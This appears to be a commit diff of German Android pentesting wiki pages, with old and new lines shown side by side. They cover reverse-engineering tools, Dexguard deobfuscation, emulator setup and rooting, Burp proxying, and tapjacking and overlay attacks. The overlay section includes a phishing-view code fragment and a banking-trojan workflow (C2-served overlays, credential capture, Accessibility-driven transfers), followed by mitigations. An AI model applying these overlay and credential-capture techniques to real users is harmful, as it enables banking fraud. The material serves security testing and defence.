**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das gängige Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das gängige Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen für mobile Anwendungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
Es kann:
@ -707,11 +712,11 @@ ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der An
Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Von diesem Leitfaden) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus:
(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus:
- eine Ressource als InputStream laden;
- das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln;
- einige nutzlose Obfuskation durchführen, um ein paar Minuten Zeit eines Rückführers zu verschwenden;
- einige nutzlose Obfuskation durchführen, um dem Reverser ein paar Minuten Zeit zu stehlen;
- das entschlüsselte Ergebnis an einen ZipInputStream weitergeben, um eine DEX-Datei zu erhalten;
- schließlich die resultierende DEX als Ressource mit der Methode `loadDex` laden.
@ -727,7 +732,7 @@ Dies ist ein LLM-Tool, um potenzielle Sicherheitsanfälligkeiten in Android-Apps
### [Simplify](https://github.com/CalebFenton/simplify)
Es ist ein **generischer Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er identisch funktioniert, aber für einen Menschen leichter zu verstehen ist. Jeder Optimierungstyp ist einfach und generisch, sodass es keine Rolle spielt, welcher spezifische Obfuskationstyp verwendet wird.
Es ist ein **generischer Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er identisch funktioniert, aber für einen Menschen leichter verständlich ist. Jeder Optimierungstyp ist einfach und generisch, sodass es keine Rolle spielt, welcher spezifische Obfuskationstyp verwendet wird.
### [APKiD](https://github.com/rednaga/APKiD)

View File

@ -18,7 +18,7 @@ In mac können Sie **die SDK-Tools herunterladen** und sie im PATH haben, indem
brew tap homebrew/cask
brew install --cask android-sdk
```
Oder über die **Android Studio GUI**, wie in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) angegeben, die sie in `~/Library/Android/sdk/cmdline-tools/latest/bin/` und `~/Library/Android/sdk/platform-tools/` und `~/Library/Android/sdk/emulator/` installieren wird.
Oder von **Android Studio GUI** wie angegeben in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), was sie in `~/Library/Android/sdk/cmdline-tools/latest/bin/` und `~/Library/Android/sdk/platform-tools/` und `~/Library/Android/sdk/emulator/` installieren wird.
Für die Java-Probleme:
```java
@ -58,13 +58,16 @@ Die virtuelle Maschine wird erstellt. Jetzt **wird sie jedes Mal vorhanden sein,
### Virtuelle Maschine ausführen
Um sie **auszuführen**, drücken Sie einfach die _**Starttaste**_.
Um sie **auszuführen**, drücken Sie einfach die _**Start-Taste**_.
![](<../../images/image (518).png>)
## Befehlszeilenwerkzeug
## Befehlszeilentool
Zunächst müssen Sie **entscheiden, welches Telefon Sie verwenden möchten**. Um die Liste der möglichen Telefone anzuzeigen, führen Sie aus:
> [!WARNING]
> Für macOS finden Sie das `avdmanager`-Tool unter `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` unter `/Users/<username>/Library/Android/sdk/emulator/emulator`, wenn Sie sie installiert haben.
Zuerst müssen Sie **entscheiden, welches Telefon Sie verwenden möchten**, um die Liste der möglichen Telefone anzuzeigen, führen Sie aus:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -97,7 +100,7 @@ Sie können alle Optionen mit `sdkmanager` auflisten:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
Und **lade** die eine (oder alle) herunter, die du verwenden möchtest mit:
Und **lade** diejenige (oder alle), die du verwenden möchtest, mit:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
@ -117,7 +120,7 @@ Type: Platform
API level: 29
Revision: 4
```
In diesem Moment haben Sie das Gerät ausgewählt, das Sie verwenden möchten, und das Android-Image heruntergeladen, sodass **Sie die virtuelle Maschine mit** erstellen können:
In diesem Moment haben Sie das Gerät ausgewählt, das Sie verwenden möchten, und das Android-Image heruntergeladen, sodass **Sie die virtuelle Maschine mit**: erstellen können.
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
@ -139,6 +142,9 @@ Error: Google pixel_2 no longer exists as a device
```
### Virtuelle Maschine ausführen
> [!WARNING]
> Für macOS finden Sie das `avdmanager`-Tool unter `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` unter `/Users/<username>/Library/Android/sdk/emulator/emulator`, wenn Sie diese installiert haben.
Wir haben bereits gesehen, wie Sie die erstellten virtuellen Maschinen auflisten können, aber **Sie können sie auch auflisten mit**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
@ -167,6 +173,8 @@ Es gibt jedoch **eine Menge nützlicher Befehlszeilenoptionen**, die Sie verwend
- `-dns-server 192.0.2.0, 192.0.2.255` : Ermöglicht die Angabe von durch Kommas getrennten DNS-Servern für die VM.
- **`-http-proxy 192.168.1.12:8080`** : Ermöglicht die Angabe eines HTTP-Proxys (sehr nützlich, um den Verkehr mit Burp zu erfassen)
- Wenn die Proxy-Einstellungen aus irgendeinem Grund nicht funktionieren, versuchen Sie, sie intern oder mit einer Anwendung wie "Super Proxy" oder "ProxyDroid" zu konfigurieren.
- `-netdelay 200` : Setzt die Netzwerkverzögerungssimulation in Millisekunden.
- `-port 5556` : Setzt die TCP-Portnummer, die für die Konsole und adb verwendet wird.
- `-ports 5556,5559` : Setzt die TCP-Ports, die für die Konsole und adb verwendet werden.
- **`-tcpdump /path/dumpfile.cap`** : Erfasst den gesamten Verkehr in einer Datei
@ -185,11 +193,12 @@ Wenn Sie ein Gerät mit Play Store heruntergeladen haben, können Sie nicht dire
$ adb root
adbd cannot run as root in production builds
```
Mit [rootAVD](https://github.com/newbit1/rootAVD) und [Magisk](https://github.com/topjohnwu/Magisk) konnte ich es rooten (siehe zum Beispiel [**dieses Video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **oder** [**dieses hier**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Using [rootAVD](https://github.com/newbit1/rootAVD) mit [Magisk](https://github.com/topjohnwu/Magisk) konnte ich es rooten (folgen Sie zum Beispiel [**diesem Video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **oder** [**diesem hier**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Burp-Zertifikat installieren
Überprüfen Sie die folgende Seite, um zu erfahren, wie Sie ein benutzerdefiniertes CA-Zertifikat installieren:
Überprüfen Sie die folgende Seite, um zu lernen, wie man ein benutzerdefiniertes CA-Zertifikat installiert:
{{#ref}}
install-burp-certificate.md

View File

@ -25,7 +25,7 @@ Wenn **`android:filterTouchesWhenObscured`** auf **`true`** gesetzt ist, erhält
#### **`setFilterTouchesWhenObscured`**
Das Attribut **`setFilterTouchesWhenObscured`** kann ebenfalls die Ausnutzung dieser Schwachstelle verhindern, wenn die Android-Version niedriger ist.\
Das Attribut **`setFilterTouchesWhenObscured`**, das auf true gesetzt ist, kann auch die Ausnutzung dieser Schwachstelle verhindern, wenn die Android-Version niedriger ist.\
Wenn es auf **`true`** gesetzt ist, kann beispielsweise ein Button automatisch **deaktiviert werden, wenn er verdeckt ist**:
```xml
<Button android:text="Button"
@ -86,22 +86,23 @@ PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
### Typischer Workflow von Banking-Trojanern
* Abfrage installierter Pakete (`QUERY_ALL_PACKAGES`), um herauszufinden, welche Banking- / Wallet-App derzeit geöffnet ist.
* Laden Sie eine **HTML/JS-Overlay-Vorlage** vom C2 herunter, die diese spezifische Anwendung perfekt imitiert (Logo, Farben, i18n-Strings…).
* Overlay anzeigen, Anmeldeinformationen/PIN/Muster erfassen.
* Verwenden Sie die **Accessibility API** (`performGlobalAction`, `GestureDescription`), um Überweisungen im Hintergrund zu automatisieren.
* Abfrage installierter Pakete (`QUERY_ALL_PACKAGES`), um herauszufinden, welche Banking-/Wallet-App derzeit geöffnet ist.
* Herunterladen einer **HTML/JS-Overlay-Vorlage** vom C2, die diese spezifische Anwendung perfekt imitiert (Logo, Farben, i18n-Strings…).
* Anzeige des Overlays, Erfassung von Anmeldeinformationen/PIN/Muster.
* Verwendung der **Accessibility API** (`performGlobalAction`, `GestureDescription`), um Überweisungen im Hintergrund zu automatisieren.
### Erkennung & Minderung
* Überprüfen Sie die Liste der installierten Apps mit `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Von der Anwendungsseite (Bank / Wallet):
- Aktivieren Sie **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) für sensible Ansichten, um nicht im Play Store verfügbare Dienste zu blockieren.
- Kombinieren Sie dies mit `setFilterTouchesWhenObscured(true)` und `FLAG_SECURE`.
* Überprüfung der Liste der installierten Apps mit `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Von der Anwendungsseite (Bank/Wallet):
- Aktivieren von **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) auf sensiblen Ansichten, um nicht im Play Store befindliche Dienste zu blockieren.
- Kombinieren mit `setFilterTouchesWhenObscured(true)` und `FLAG_SECURE`.
* Systemhärtung:
- Deaktivieren Sie *Installieren von unbekannten Quellen* & *Zugänglichkeit für nicht vertrauenswürdige Apps*.
- Erzwingen Sie PlayProtect & aktuelle Geräte.
- Deaktivieren von *Installieren von unbekannten Quellen* & *Zugänglichkeit für nicht vertrauenswürdige Apps*.
- Durchsetzen von PlayProtect & aktuellen Geräten.
Für weitere Details zur Nutzung von Accessibility Services für die vollständige Fernsteuerung von Geräten (z. B. PlayPraetor, SpyNote usw.) siehe:
{{#ref}}
accessibility-services-abuse.md
{{#endref}}

Some files were not shown because too many files have changed in this diff Show More